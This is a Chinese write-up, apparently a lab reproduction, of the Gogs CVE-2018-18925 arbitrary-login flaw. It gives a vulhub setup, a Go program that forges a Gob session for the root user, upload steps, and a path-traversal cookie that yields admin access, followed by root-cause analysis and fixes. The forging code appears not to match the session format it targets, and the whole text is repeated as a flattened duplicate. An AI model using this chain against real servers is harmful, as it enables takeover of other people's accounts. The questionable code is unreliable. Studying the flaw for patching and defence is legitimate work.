Gogs 任意用户登录漏洞分析报告
字数 1498 2025-08-18 11:38:52

Gogs 任意用户登录漏洞分析与复现指南

一、漏洞背景

Gogs 是一款类似 GitHub 的开源文件/代码管理系统(基于 Git),其目标是打造一个最简单、最快速和最轻松的方式搭建自助 Git 服务。Gogs 使用 Go 语言开发,能够通过独立的二进制分发,支持 Linux、Mac OS X、Windows 以及 ARM 平台。

二、漏洞描述

在 Gogs 0.11.66 及之前版本中,go-macaron/session 库存在一个严重的安全漏洞:

  • 没有对 sessionid 进行有效校验
  • 攻击者可以利用恶意 sessionid 读取任意文件
  • 通过控制文件内容来控制 session 内容
  • 最终实现登录任意账户

三、影响版本

  • Gogs 0.11.66 及之前的所有版本

四、漏洞复现步骤

1. 环境搭建

使用 Docker 搭建漏洞环境:

# 克隆 vulhub 上的 gogs 环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/gogs/CVE-2018-18925

# 启动 gogs 环境
docker-compose up -d

2. 安装配置

  1. 访问 http://[your-ip]:3000/install 进入安装页面
  2. 选择 sqlite 数据库
  3. 确保开启用户注册功能
  4. 完成安装

3. 生成恶意 session 文件

使用 Go 语言的 Gob 序列化生成 session 文件 data。可参考以下代码:

package main

import (
	"bytes"
	"encoding/gob"
	"os"
)

type Session struct {
	ID      int64
	Uid     int64
	Data    map[string]interface{}
	Created int64
	Updated int64
}

func main() {
	s := Session{
		ID:  1234567890,
		Uid: 1, // 管理员用户ID通常为1
		Data: map[string]interface{}{
			"_old_uid": "1",
			"uid":      int64(1),
			"uname":    "root", // 管理员用户名通常为root
		},
		Created: 1540000000,
		Updated: 1540000000,
	}

	var buf bytes.Buffer
	enc := gob.NewEncoder(&buf)
	err := enc.Encode(s)
	if err != nil {
		panic(err)
	}

	err = os.WriteFile("data", buf.Bytes(), 0644)
	if err != nil {
		panic(err)
	}
}

4. 上传 session 文件

  1. 注册一个普通用户账户
  2. 创建一个项目
  3. 在"版本发布"页面上传生成的 data 文件
  4. 记录返回的文件路径,如:./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10

5. 构造恶意 Cookie

根据上传的文件路径构造 Cookie:

i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10

6. 利用漏洞

使用构造的 Cookie 访问 Gogs,即可发现已经成功登录 ID=1 的 root 管理员账户。

五、漏洞原理分析

1. 漏洞成因

  1. Session 验证缺失:go-macaron/session 库没有对 sessionid 进行有效校验
  2. 路径遍历:攻击者可以通过构造特殊路径访问任意文件
  3. Session 伪造:通过控制文件内容可以伪造任意用户的 session

2. 利用条件

  1. 攻击者可以上传任意文件(通过 release 功能)
  2. 知道目标用户的 UID 和用户名(通过 explore 功能获取)
  3. 能够构造有效的 Gob 编码的 session 文件

3. 文件路径分析

  • Session 存储路径data/sessions/sid[0]/sid[1]/sid
  • 附件存储路径data/attachments/fid[0]/fid[1]/fid
  • 路径遍历:通过 ../ 可以跳转到 attachments 目录

4. 详细利用流程

  1. 生成伪造的 session 文件(Gob 编码)
  2. 通过 release 功能上传到 attachments 目录
  3. 构造包含路径遍历的 sessionid
  4. Gogs 解析 sessionid 时读取伪造的 session 文件
  5. 服务器使用伪造的 session 信息认证用户

六、修复建议

  1. 升级版本

    • 从 GitHub 下载并编译 develop 分支
    • 或升级至最新版本的 Gogs
  2. 临时缓解措施

    • 禁用匿名用户注册
    • 限制 release 功能的使用权限
    • 监控异常 session 活动
  3. 代码层面修复

    • 对 sessionid 进行严格校验
    • 防止路径遍历攻击
    • 加强文件访问权限控制

七、参考资源

  1. Gogs 官方 GitHub
  2. TideSec 安全团队官网
  3. Vulhub 漏洞环境

注意:本文仅用于安全研究和教育目的,未经授权对他人系统进行测试是违法行为。

Gogs 任意用户登录漏洞分析与复现指南 一、漏洞背景 Gogs 是一款类似 GitHub 的开源文件/代码管理系统(基于 Git),其目标是打造一个最简单、最快速和最轻松的方式搭建自助 Git 服务。Gogs 使用 Go 语言开发,能够通过独立的二进制分发,支持 Linux、Mac OS X、Windows 以及 ARM 平台。 二、漏洞描述 在 Gogs 0.11.66 及之前版本中,go-macaron/session 库存在一个严重的安全漏洞: 没有对 sessionid 进行有效校验 攻击者可以利用恶意 sessionid 读取任意文件 通过控制文件内容来控制 session 内容 最终实现登录任意账户 三、影响版本 Gogs 0.11.66 及之前的所有版本 四、漏洞复现步骤 1. 环境搭建 使用 Docker 搭建漏洞环境: 2. 安装配置 访问 http://[your-ip]:3000/install 进入安装页面 选择 sqlite 数据库 确保开启用户注册功能 完成安装 3. 生成恶意 session 文件 使用 Go 语言的 Gob 序列化生成 session 文件 data 。可参考以下代码: 4. 上传 session 文件 注册一个普通用户账户 创建一个项目 在"版本发布"页面上传生成的 data 文件 记录返回的文件路径,如: ./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10 5. 构造恶意 Cookie 根据上传的文件路径构造 Cookie: 6. 利用漏洞 使用构造的 Cookie 访问 Gogs,即可发现已经成功登录 ID=1 的 root 管理员账户。 五、漏洞原理分析 1. 漏洞成因 Session 验证缺失 :go-macaron/session 库没有对 sessionid 进行有效校验 路径遍历 :攻击者可以通过构造特殊路径访问任意文件 Session 伪造 :通过控制文件内容可以伪造任意用户的 session 2. 利用条件 攻击者可以上传任意文件(通过 release 功能) 知道目标用户的 UID 和用户名(通过 explore 功能获取) 能够构造有效的 Gob 编码的 session 文件 3. 文件路径分析 Session 存储路径 : data/sessions/sid[0]/sid[1]/sid 附件存储路径 : data/attachments/fid[0]/fid[1]/fid 路径遍历 :通过 ../ 可以跳转到 attachments 目录 4. 详细利用流程 生成伪造的 session 文件(Gob 编码) 通过 release 功能上传到 attachments 目录 构造包含路径遍历的 sessionid Gogs 解析 sessionid 时读取伪造的 session 文件 服务器使用伪造的 session 信息认证用户 六、修复建议 升级版本 : 从 GitHub 下载并编译 develop 分支 或升级至最新版本的 Gogs 临时缓解措施 : 禁用匿名用户注册 限制 release 功能的使用权限 监控异常 session 活动 代码层面修复 : 对 sessionid 进行严格校验 防止路径遍历攻击 加强文件访问权限控制 七、参考资源 Gogs 官方 GitHub TideSec 安全团队官网 Vulhub 漏洞环境 注意:本文仅用于安全研究和教育目的,未经授权对他人系统进行测试是违法行为。